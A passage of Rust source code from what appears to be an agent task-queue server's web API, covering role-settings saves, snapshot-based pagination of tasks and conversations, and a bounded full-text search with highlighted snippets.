5378    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5379    /// words (422) instead of as a deserialization error.
5380    #[serde(default)]
5381    counts: std::collections::BTreeMap<String, serde_json::Value>,
5382}
5383
5384/// `PUT /api/settings/roles` - save role assignments to the machine config.
5385///
5386/// The write target is `ui.machine_config` and nothing in the body can change
5387/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5388/// 422 with the reason in words.
5389async fn settings_put_roles(
5390    State(ui): State<Arc<Ui>>,
5391    Query(q): Query<SettingsQuery>,
5392    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5393) -> ApiResult<Json<settings::SettingsView>> {
5394    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5395    blocking(move || {
5396        let (repo, known) = settings_context(&ui, q)?;
5397        settings::save_with_repos(
5398            &repo,
5399            ui.machine_config.as_deref(),
5400            &body.revision,
5401            &body.roles,
5402            &body.counts,
5403            &known,
5404        )
5405        .map(Json)
5406        .map_err(|e| match e {
5407            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5408            settings::SaveError::Refused(m) => ApiError {
5409                text_reason: None,
5410                status: StatusCode::UNPROCESSABLE_ENTITY,
5411                message: m,
5412            },
5413            settings::SaveError::Internal(m) => ApiError::internal(m),
5414        })
5415    })
5416    .await
5417}
5418
5419async fn queue_list(
5420    State(ui): State<Arc<Ui>>,
5421    Query(q): Query<ListQuery>,
5422) -> ApiResult<Json<Vec<TaskView>>> {
5423    blocking(move || {
5424        let tasks = ui.queue.list();
5425        let inv =
5426            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5427        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5428        Ok(Json(
5429            tasks
5430                .into_iter()
5431                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5432                .map(|t| {
5433                    TaskView::with_inventory(t, &inv).with_admission(
5434                        &admission,
5435                        &ui.queue,
5436                        Some(&inv),
5437                        &ui.home,
5438                    )
5439                })
5440                .collect(),
5441        ))
5442    })
5443    .await
5444}
5445
5446/// History pages read a bounded number of records; the first conversation
5447/// page also includes every open talk. Cursors advance through a frozen snapshot,
5448/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5449/// Concurrent inserts are reconciled by a trailing store refresh.
5450#[derive(Debug, Default, Deserialize)]
5451struct PageQuery {
5452    before: Option<String>,
5453}
5454
5455#[derive(Serialize)]
5456struct StorePage<T> {
5457    rows: Vec<T>,
5458    next: Option<String>,
5459}
5460
5461const STORE_PAGE_SIZE: usize = 16;
5462
5463/// Freeze membership and the initial open/history boundary for a cursor walk.
5464/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5465/// the next store revision. Never rescan the entire directory for every page.
5466#[derive(Debug)]
5467struct ListWalk {
5468    token: u64,
5469    talks: bool,
5470    opened: std::time::Instant,
5471    ids: Arc<Vec<String>>,
5472    initial_end: usize,
5473}
5474
5475/// Read only the bounded goal header. Legacy layouts with goals after turns
5476/// are classified when their ordinary paginated row is loaded.
5477fn read_owner_goal(reader: impl std::io::Read) -> bool {
5478    use serde::de::{IgnoredAny, MapAccess, Visitor};
5479    struct Header<'a>(&'a mut bool);
5480    impl<'de> Visitor<'de> for Header<'_> {
5481        type Value = ();
5482        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5483            f.write_str("conversation goals")
5484        }
5485        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5486            while let Some(key) = map.next_key::<String>()? {
5487                if key == "turns" {
5488                    return Err(serde::de::Error::custom("transcript boundary"));
5489                }
5490                if key == "goals" {
5491                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5492                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5493                    return Err(serde::de::Error::custom("goals read"));
5494                }
5495                map.next_value::<IgnoredAny>()?;
5496            }
5497            Ok(())
5498        }
5499    }
5500    let mut owner = false;
5501    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5502    let mut json = serde_json::Deserializer::from_reader(reader);
5503    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5504    owner
5505}
5506
5507fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5508    page_ids_with(ui, talks, q, |ui, ids| {
5509        // A conversation owing the owner a decision is listed with the open
5510        // ones even when closed, so the Needs owner filter never depends on
5511        // walking closed history.
5512        let mut open = open_talk_ids(ui, ids);
5513        let inventory = chat_inventory(ui);
5514        let owing = inventory.needs_owner();
5515        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5516        let mut goals = ui
5517            .monitor
5518            .closed_goal_index
5519            .lock()
5520            .unwrap_or_else(PoisonError::into_inner);
5521        let present: HashSet<_> = ids.iter().collect();
5522        goals.retain(|id, _| present.contains(id));
5523        for id in ids {
5524            if open.contains(id) {
5525                continue;
5526            }
5527            let path = ui.talks.path_of(id);
5528            let identity = goal_identity(&path).ok();
5529            let owner = if let Some((old, owner)) = goals.get(id)
5530                && identity.as_ref() == Some(old)
5531            {
5532                *owner
5533            } else {
5534                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5535                if let Some(identity) = identity
5536                    && goal_identity(&path).is_ok_and(|after| after == identity)
5537                {
5538                    goals.insert(id.clone(), (identity, owner));
5539                }
5540                owner
5541            };
5542            if owner {
5543                open.insert(id.clone());
5544            }
5545        }
5546        open
5547    })
5548}
5549
5550fn page_ids_with(
5551    ui: &Ui,
5552    talks: bool,
5553    q: PageQuery,
5554    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5555) -> ApiResult<(Vec<String>, Option<String>)> {
5556    let mut walks = ui
5557        .monitor
5558        .list_walks
5559        .lock()
5560        .unwrap_or_else(PoisonError::into_inner);
5561    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5562    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5563        let (token, offset) = cursor
5564            .split_once(':')
5565            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5566        let token = token
5567            .parse::<u64>()
5568            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5569        let offset = offset
5570            .parse::<usize>()
5571            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5572        let walk = walks
5573            .iter()
5574            .find(|walk| walk.token == token && walk.talks == talks)
5575            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5576        (token, walk.ids.clone(), offset, walk.initial_end)
5577    } else {
5578        // Header I/O must not hold the snapshot registry shared with queue
5579        // pagination or with clients continuing an existing history walk.
5580        drop(walks);
5581        let root = if talks {
5582            ui.talks.root()
5583        } else {
5584            ui.queue.root()
5585        };
5586        let mut ids = crate::queue::record_ids(root, "json")?;
5587        ids.sort_unstable_by(|a, b| b.cmp(a));
5588        let initial_end = if talks {
5589            let open = classify(ui, &ids);
5590            // Stable partition: ID order is only the existing membership order,
5591            // never a substitute for the UI's creation-time ordering.
5592            ids.sort_by_key(|id| !open.contains(id));
5593            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5594        } else {
5595            STORE_PAGE_SIZE.min(ids.len())
5596        };
5597        let ids = Arc::new(ids);
5598        walks = ui
5599            .monitor
5600            .list_walks
5601            .lock()
5602            .unwrap_or_else(PoisonError::into_inner);
5603        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5604        let mut token = crate::rng::entropy();
5605        while walks.iter().any(|walk| walk.token == token) {
5606            token = crate::rng::entropy();
5607        }
5608        // Four clients can enumerate both stores and overlap a refresh. Bound
5609        // retained membership snapshots; an evicted cursor explicitly retries.
5610        if walks.len() >= 16 {
5611            walks.remove(0);
5612        }
5613        walks.push(ListWalk {
5614            token,
5615            talks,
5616            opened: std::time::Instant::now(),
5617            ids: ids.clone(),
5618            initial_end,
5619        });
5620        (token, ids, 0, initial_end)
5621    };
5622    if offset > ids.len() {
5623        return Err(ApiError::bad_request("Invalid list cursor"));
5624    }
5625    let end = if offset == 0 {
5626        initial_end
5627    } else {
5628        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5629    };
5630    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5631    Ok((ids[offset..end].to_vec(), next))
5632}
5633
5634async fn queue_page(
5635    State(ui): State<Arc<Ui>>,
5636    Query(q): Query<PageQuery>,
5637) -> ApiResult<Json<StorePage<TaskView>>> {
5638    blocking(move || {
5639        let (ids, next) = page_ids(&ui, false, q)?;
5640        let tasks: Vec<_> = ids
5641            .into_iter()
5642            .filter_map(|id| ui.queue.get(&id).ok())
5643            .collect();
5644        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5645        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5646        let rows = tasks
5647            .into_iter()
5648            .map(|task| {
5649                TaskView::with_inventory(task, &inv).with_admission(
5650                    &admission,
5651                    &ui.queue,
5652                    Some(&inv),
5653                    &ui.home,
5654                )
5655            })
5656            .collect();
5657        Ok(Json(StorePage { rows, next }))
5658    })
5659    .await
5660}
5661
5662/// Fixed-size wire projection. Agent timestamps stay in the server index so
5663/// exact unread counts do not require sending an ever-growing turn list.
5664#[derive(Debug, Clone, Serialize)]
5665struct TalkListView {
5666    title: Option<talk::ChatTitle>,
5667    id: String,
5668    repo: PathBuf,
5669    agent: String,
5670    status: talk::TalkStatus,
5671    turns: Vec<TalkListTurn>,
5672    turn_count: usize,
5673    unread_count: usize,
5674    context: talk::ContextUsage,
5675    #[serde(skip)]
5676    agent_times: Vec<Timestamp>,
5677    #[serde(skip)]
5678    goals: crate::chat_status::Goals,
5679    thinking: bool,
5680    /// Display-only triage state derived from durable evidence.
5681    chat_status: crate::chat_status::ChatStatus,
5682    created_at: Timestamp,
5683    updated_at: Timestamp,
5684}
5685
5686#[derive(Debug, Clone, Serialize)]
5687struct TalkListTurn {
5688    who: talk::Who,
5689    at: Timestamp,
5690    body: String,
5691}
5692
5693/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5694/// loop revisions so a list read never re-parses the stores unless one moved;
5695/// without a published revision (before the first scan) it is built per call.
5696fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5697    let unreadable = ui
5698        .monitor
5699        .chat_sources_unreadable
5700        .load(std::sync::atomic::Ordering::Acquire);
5701    let key = ui
5702        .monitor
5703        .latest
5704        .lock()
5705        .unwrap_or_else(PoisonError::into_inner)
5706        .as_ref()
5707        .map(|(revisions, _)| *revisions);
5708    if !unreadable
5709        && let Some(key) = key
5710        && let Some((cached, inventory)) = ui
5711            .monitor
5712            .chat_inventory
5713            .lock()
5714            .unwrap_or_else(PoisonError::into_inner)
5715            .as_ref()
5716        && *cached == key
5717    {
5718        return Arc::clone(inventory);
5719    }
5720    let tasks = ui.queue.list();
5721    let questions = ui.questions.list();
5722    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5723    if unreadable
5724        || crate::queue::record_ids(ui.queue.root(), "json")
5725            .map_or(true, |ids| ids.len() > tasks.len())
5726        || crate::queue::record_ids(ui.questions.root(), "json")
5727            .map_or(true, |ids| ids.len() > questions.len())
5728    {
5729        inventory.mark_unreadable();
5730    }
5731    let inventory = Arc::new(inventory);
5732    if !unreadable && let Some(key) = key {
5733        *ui.monitor
5734            .chat_inventory
5735            .lock()
5736            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5737    }
5738    inventory
5739}
5740
5741fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5742    let reads: HashMap<String, Timestamp> = headers
5743        .get("x-talk-reads")
5744        .and_then(|v| v.to_str().ok())
5745        .and_then(|v| serde_json::from_str(v).ok())
5746        .unwrap_or_default();
5747    let inventory = chat_inventory(ui);
5748    let mut index = ui
5749        .monitor
5750        .talk_index
5751        .lock()
5752        .unwrap_or_else(PoisonError::into_inner);
5753    // Bound memory independently of the number of conversations ever opened.
5754    if index.len() > 1000 {
5755        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5756        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5757        if index.len() > 1000 {
5758            index.retain(|id, _| keep.contains(id.as_str()));
5759        }
5760    }
5761    ids.into_iter()
5762        .filter_map(|id| {
5763            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5764            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5765                let talk = ui.talks.get(&id).ok()?;
5766                #[cfg(test)]
5767                ui.monitor
5768                    .talk_parses
5769                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5770                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5771                let last = talk.turns.len().checked_sub(1);
5772                let turns = talk
5773                    .turns
5774                    .iter()
5775                    .enumerate()
5776                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5777                    .map(|(_, t)| TalkListTurn {
5778                        who: t.who,
5779                        at: t.at,
5780                        body: t
5781                            .body
5782                            .lines()
5783                            .next()
5784                            .unwrap_or_default()
5785                            .chars()
5786                            .take(240)
5787                            .collect(),
5788                    })
5789                    .collect();
5790                let row = TalkListView {
5791                    title: talk.title.clone(),
5792                    agent_times: talk
5793                        .turns
5794                        .iter()
5795                        .filter(|t| t.who == talk::Who::Agent)
5796                        .map(|t| t.at)
5797                        .collect(),
5798                    turn_count: talk.turns.len(),
5799                    goals: crate::chat_status::Goals::of(&talk.goals),
5800                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5801                    unread_count: 0,
5802                    context: talk::context_usage(&talk, None),
5803                    turns,
5804                    thinking: false,
5805                    id: talk.id,
5806                    repo: talk.repo,
5807                    agent: talk.agent,
5808                    status: talk.status,
5809                    created_at: talk.created_at,
5810                    updated_at: talk.updated_at,
5811                };
5812                index.insert(id.clone(), (identity, row));
5813            }
5814            let row = &index.get(&id)?.1;
5815            let mut row = TalkListView {
5816                title: row.title.clone(),
5817                unread_count: row
5818                    .agent_times
5819                    .iter()
5820                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5821                    .count(),
5822                agent_times: Vec::new(),
5823                goals: row.goals,
5824                chat_status: row.chat_status.clone(),
5825                id: row.id.clone(),
5826                repo: row.repo.clone(),
5827                agent: row.agent.clone(),
5828                status: row.status,
5829                context: row.context.clone(),
5830                turns: row.turns.clone(),
5831                turn_count: row.turn_count,
5832                thinking: false,
5833                created_at: row.created_at,
5834                updated_at: row.updated_at,
5835            };
5836            let turn_held = ui.talks.turn_held(&id);
5837            row.thinking = turn_held || inventory.busy(&id);
5838            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5839            Some(row)
5840        })
5841        .collect()
5842}
5843
5844async fn talks_page(
5845    State(ui): State<Arc<Ui>>,
5846    Query(q): Query<PageQuery>,
5847    headers: header::HeaderMap,
5848) -> ApiResult<Json<StorePage<TalkListView>>> {
5849    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5850        let (ids, next) = page_ids(&ui, true, q)?;
5851        Ok(Json(StorePage {
5852            rows: talk_rows(&ui, ids, &headers),
5853            next,
5854        }))
5855    })
5856    .await
5857}
5858
5859async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5860    blocking(move || {
5861        let tasks = ui.indexed_tasks()?;
5862        Ok(Json(TaskCountsView::from(
5863            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5864        )))
5865    })
5866    .await
5867}
5868
5869/// Most hits one search returns. The rest are counted in `total`.
5870const SEARCH_MAX_HITS: usize = 100;
5871/// Longest query, in characters, and most terms it is split into.
5872const SEARCH_MAX_QUERY: usize = 200;
5873const SEARCH_MAX_TERMS: usize = 8;
5874/// Characters of context kept before the first hit, and after it.
5875const SNIPPET_BEFORE: usize = 50;
5876const SNIPPET_AFTER: usize = 110;
5877
5878/// `?scope=runs|tasks&q=...`
5879#[derive(Debug, Deserialize)]
5880struct SearchQuery {
5881    #[serde(default)]
5882    scope: String,
5883    #[serde(default)]
5884    q: String,
5885}
5886
5887/// One piece of a snippet. `hit` pieces are what matched; the client renders
5888/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5889#[derive(Debug, Serialize, PartialEq, Eq)]
5890struct SnippetPart {
5891    text: String,
5892    hit: bool,
5893}
5894
5895/// Position plus transcript evidence, without changing the saved chat schema.
5896#[derive(Debug, Serialize)]
5897struct ChatSearchTarget {
5898    turn: usize,
5899    message: usize,
5900    at: String,
5901    text: String,
5902}
5903
5904fn chat_text_key(body: &str) -> String {
5905    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5906        (hash ^ u32::from(c)).wrapping_mul(16777619)
5907    });
5908    format!("{hash:08x}:{}", body.chars().count())
5909}
5910
5911#[derive(Debug, Serialize)]
5912struct SearchHit {
5913    #[serde(skip_serializing_if = "Option::is_none")]
5914    target: Option<ChatSearchTarget>,
5915    id: String,
5916    /// The name of the field the snippet was cut from.
5917    field: String,
5918    snippet: Vec<SnippetPart>,
5919    /// The run's list row, so the page can apply its state / section / repo
5920    /// filters to a hit outside the loaded window. Absent for tasks and for a
5921    /// run record the list view cannot read.
5922    #[serde(skip_serializing_if = "Option::is_none")]
5923    run: Option<RunSummary>,
5924}
5925
5926#[derive(Debug, Serialize)]
5927struct SearchView {
5928    scope: String,
5929    q: String,
5930    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5931    hits: Vec<SearchHit>,
5932    /// Every match, hits beyond the cap included.
5933    total: usize,
5934    truncated: bool,
5935    /// Runs whose `run.json` could not be parsed at all. They were not
5936    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5937    unreadable: usize,
5938}
5939
5940/// The text leaves of a JSON document, with the name of the field each sits
5941/// under. Keys and numbers are skipped: they are structure, not prose.
5942fn text_leaves<'a>(
5943    value: &'a serde_json::Value,
5944    field: &'a str,
5945    out: &mut Vec<(&'a str, &'a str)>,
5946) {
5947    match value {
5948        serde_json::Value::String(s) => out.push((field, s)),
5949        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5950        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5951        _ => {}
5952    }
5953}
5954
5955/// Lower-case one character without changing how many there are, so indices
5956/// in the lowered text are indices in the original.
5957fn fold_char(c: char) -> char {
5958    c.to_lowercase().next().unwrap_or(c)
5959}
5960
5961/// Split a query into its lower-cased terms.
5962fn search_terms(q: &str) -> Vec<String> {
5963    let mut terms: Vec<String> = Vec::new();
5964    for t in q.split_whitespace() {
5965        let t = t.to_lowercase();
5966        if !terms.contains(&t) {
5967            terms.push(t);
5968        }
5969    }
5970    terms
5971}
5972
5973/// Match `terms` (all of them, anywhere in the document) against the leaves
5974/// and cut a snippet around the first hit. `None` when a term is missing.
5975fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5976    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5977    let mut first: Option<usize> = None;
5978    for term in terms {
5979        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5980        first = Some(first.map_or(at, |f| f.min(at)));
5981    }
5982    // The leaf holding the earliest hit of any term is where the snippet is cut.
5983    let (field, text) = leaves[first?];
5984    Some(SearchHit {
5985        id: String::new(),
5986        target: None,
5987        field: field.to_owned(),
5988        snippet: snippet_of(text, terms),
5989        run: None,
5990    })
5991}
5992
5993/// A window of `text` around the first occurrence of any term, whitespace
5994/// collapsed, with every term occurrence inside the window marked.
5995fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5996    let chars: Vec<char> = text.chars().collect();
5997    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5998    let needles: Vec<Vec<char>> = terms
5999        .iter()
6000        .map(|t| t.chars().map(fold_char).collect())
6001        .collect();
6002    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
6003        let mut best: Option<(usize, usize)> = None;
6004        for n in needles.iter().filter(|n| !n.is_empty()) {
6005            // `to` bounds where a match may start; it may run past `to` (the
6006            // caller clips what it shows). A term longer than the field cannot
6007            // occur in it (it may live in another leaf of the document).
6008            if n.len() > chars.len() || to == 0 {
6009                continue;
6010            }
6011            let last = (to - 1).min(chars.len() - n.len());
6012            if from > last {
6013                continue;
6014            }
6015            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6016                && best.is_none_or(|(b, _)| i < b)
6017            {
6018                best = Some((i, i + n.len()));
6019            }
6020        }
6021        best
6022    };
6023    let Some((start, _)) = find(0, chars.len()) else {
6024        // Matched only through a case mapping that changes length: show the head.
6025        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6026        return vec![SnippetPart {
6027            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6028            hit: false,
6029        }];
6030    };
6031    let lo = start.saturating_sub(SNIPPET_BEFORE);
6032    let hi = (start + SNIPPET_AFTER).min(chars.len());
6033    let mut parts: Vec<SnippetPart> = Vec::new();
6034    let mut push = |s: &[char], hit: bool| {
6035        if s.is_empty() {
6036            return;
6037        }
6038        let text: String = s.iter().collect();
6039        match parts.last_mut() {
6040            Some(p) if p.hit == hit => p.text.push_str(&text),
6041            _ => parts.push(SnippetPart { text, hit }),
6042        }
6043    };
6044    if lo > 0 {
6045        push(&['\u{2026}'], false);
6046    }
6047    let mut at = lo;
6048    while at < hi {
6049        match find(at, hi) {
6050            Some((s, e)) => {
6051                push(&chars[at..s], false);
6052                // A match running past the window is shown up to its edge.
6053                let shown = e.min(hi);
6054                push(&chars[s..shown], true);
6055                at = shown;
6056            }
6057            None => {
6058                push(&chars[at..hi], false);
6059                at = hi;
6060            }
6061        }
6062    }
6063    if hi < chars.len() {
6064        push(&['\u{2026}'], false);
6065    }
6066    // Collapse whitespace (newlines in an instruction) without disturbing the
6067    // hit boundaries.
6068    let mut prev_space = false;
6069    for p in &mut parts {
6070        let mut out = String::with_capacity(p.text.len());
6071        for c in p.text.chars() {
6072            if c.is_whitespace() {
6073                if !prev_space {
6074                    out.push(' ');
6075                }
6076                prev_space = true;
6077            } else {
6078                out.push(c);
6079                prev_space = false;
6080            }
6081        }
6082        p.text = out;
6083    }
6084    parts.retain(|p| !p.text.is_empty());
6085    parts
6086}
6087
6088/// The search over `docs` (id, document), newest first, capped.
6089fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6090where
6091    I: IntoIterator<Item = (String, serde_json::Value)>,
6092{
6093    for (id, doc) in docs {
6094        let mut leaves = Vec::new();
6095        // The id is text an operator types too, and it is a map key on disk,
6096        // not a leaf.
6097        leaves.push(("id", id.as_str()));
6098        text_leaves(&doc, "", &mut leaves);
6099        if let Some(mut hit) = search_document(terms, &leaves) {
6100            view.total += 1;
6101            if view.hits.len() < SEARCH_MAX_HITS {
6102                hit.id = id;
6103                view.hits.push(hit);
6104            }
6105        }
6106    }
6107    view.truncated = view.total > view.hits.len();
6108}
6109
6110/// What a conversation is searched by: its list title and each turn's text,
6111/// under their sender labels so the snippet says who spoke. Nothing else
6112/// (session ids, repo paths, usage, drafts) is part of the document.
6113///
6114/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6115fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6116    let opener = talk
6117        .title
6118        .as_ref()
6119        .filter(|t| !t.text.is_empty())
6120        .map(|t| t.text.as_str())
6121        .or_else(|| {
6122            talk.turns
6123                .iter()
6124                .find(|t| t.who == talk::Who::Operator)
6125                .map(|t| t.body.as_str())
6126        })
6127        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6128        .unwrap_or("");
6129    let title: String = if opener.chars().count() > 96 {
6130        opener.chars().take(95).chain(['\u{2026}']).collect()
6131    } else {
6132        opener.to_owned()
6133    };
6134    let turns: Vec<serde_json::Value> = talk
6135        .turns
6136        .iter()
6137        .flat_map(|t| {
6138            let label = |message| match talk::sender(t, message) {
6139                talk::Sender::External => "external",
6140                _ => match t.who {
6141                    talk::Who::Operator => "operator",
6142                    talk::Who::Agent => "agent",
6143                },
6144            };
6145            if t.messages.is_empty() {
6146                vec![serde_json::json!({ label(None): t.body })]
6147            } else {
6148                t.messages
6149                    .iter()
6150                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6151                    .collect()
6152            }
6153        })
6154        .collect();
6155    serde_json::json!({ "title": title, "turns": turns })
6156}
6157
6158fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6159    let doc = talk_search_doc(talk);
6160    let mut leaves = vec![("id", talk.id.as_str())];
6161    text_leaves(&doc, "", &mut leaves);
6162    let mut hit = search_document(terms, &leaves)?;
6163    // Use exactly the leaf that supplied the snippet, including title/id hits.
6164    let leaf = leaves
6165        .iter()
6166        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6167    let messages: Vec<_> = talk
6168        .turns
6169        .iter()
6170        .enumerate()
6171        .flat_map(|(i, turn)| {
6172            let bodies: Vec<&str> = if turn.messages.is_empty() {
6173                vec![turn.body.as_str()]
6174            } else {
6175                turn.messages.iter().map(|m| m.body.as_str()).collect()
6176            };
6177            bodies
6178                .into_iter()
6179                .enumerate()
6180                .map(move |(j, body)| (i, j, turn, body))
6181        })
6182        .collect();
6183    let target = leaf
6184        .checked_sub(2)
6185        .and_then(|i| messages.get(i))
6186        .or_else(|| {
6187            // An unsaved title is the opener's first nonempty line, so its
6188            // snippet still identifies a transcript message. Saved titles do not.
6189            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6190                return None;
6191            }
6192            let (index, opener) = talk
6193                .turns
6194                .iter()
6195                .enumerate()
6196                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6197            let line = opener
6198                .body
6199                .lines()
6200                .map(str::trim)
6201                .find(|line| !line.is_empty())?;
6202            messages.iter().find(|(i, _, _, body)| {
6203                *i == index
6204                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6205            })
6206        });
6207    if let Some((i, j, turn, body)) = target {
6208        hit.target = Some(ChatSearchTarget {
6209            turn: *i,
6210            message: *j,
6211            at: turn.at.to_string(),
6212            text: chat_text_key(body),
6213        });
6214    }
6215    hit.id = talk.id.clone();
6216    Some(hit)
6217}
6218
6219/// Read-only full-text search over every run's `run.json`, every task or every
6220/// conversation (title and transcript).
6221///
6222/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6223/// record from an older schema still searches; only a file that is not JSON
6224/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6225async fn search_get(
6226    State(ui): State<Arc<Ui>>,
6227    Query(q): Query<SearchQuery>,
6228) -> ApiResult<Json<SearchView>> {
6229    let query = q.q.trim().to_owned();
6230    if query.is_empty() {
6231        return Err(ApiError::bad_request("q must not be empty"));
6232    }
6233    if query.chars().count() > SEARCH_MAX_QUERY {
6234        return Err(ApiError::bad_request(format!(
6235            "q is longer than {SEARCH_MAX_QUERY} characters"
6236        )));
6237    }
6238    let terms = search_terms(&query);
6239    if terms.len() > SEARCH_MAX_TERMS {
6240        return Err(ApiError::bad_request(format!(
6241            "q has more than {SEARCH_MAX_TERMS} terms"
6242        )));
6243    }
6244    let scope = q.scope;
6245    if scope != "runs" && scope != "tasks" && scope != "chats" {
6246        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6247    }
6248    blocking(move || {
6249        let mut view = SearchView {
6250            scope: scope.clone(),
6251            q: query,
6252            hits: Vec::new(),
6253            total: 0,
6254            truncated: false,
6255            unreadable: 0,
6256        };
6257        if scope == "runs" {
6258            let mut unreadable = 0;
6259            // One run.json is read, matched and dropped at a time; nothing
6260            // holds the whole history. The scan runs to the end even past the
6261            // hit cap so `total` and `unreadable` stay exact.
6262            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6263                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6264                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6265                    Some(v) => Some((id, v)),
6266                    None => {
6267                        unreadable += 1;
6268                        None
6269                    }
6270                }
6271            });
6272            search_docs(&terms, docs, &mut view);
6273            view.unreadable = unreadable;
6274            // Only the capped hits get a row: the filters need a run's state,
6275            // and reading every match would be the whole history again.
6276            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6277            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6278            for hit in &mut view.hits {
6279                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6280                    hit.run = summarize(
6281                        [state],
6282                        &open_runs,
6283                        &claimed,
6284                        &superseded,
6285                        |p| probe.borrow_mut().status(p),
6286                        |p| probe.borrow_mut().started_at(p),
6287                    )
6288                    .pop();
6289                }
6290            }
6291        } else if scope == "chats" {
6292            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6293            view.unreadable = unreadable;
6294            for talk in &talks {
6295                if let Some(hit) = search_chat(&terms, talk) {
6296                    view.total += 1;
6297                    if view.hits.len() < SEARCH_MAX_HITS {
6298                        view.hits.push(hit);
6299                    }
6300                }
6301            }
6302            view.truncated = view.total > view.hits.len();
6303        } else {
6304            let docs = ui.queue.list().into_iter().filter_map(|t| {
6305                let mut v = serde_json::to_value(&t).ok()?;
6306                // `source` serialises as a tagged object; the label is what
6307                // the operator reads ("human", "chat@a1b2").
6308                if let Some(o) = v.as_object_mut() {
6309                    o.insert("filed_by".to_owned(), t.source_label().into());
6310                }
6311                Some((t.id, v))
6312            });
6313            search_docs(&terms, docs, &mut view);
6314        }
6315        Ok(Json(view))
6316    })
6317    .await
6318}
6319
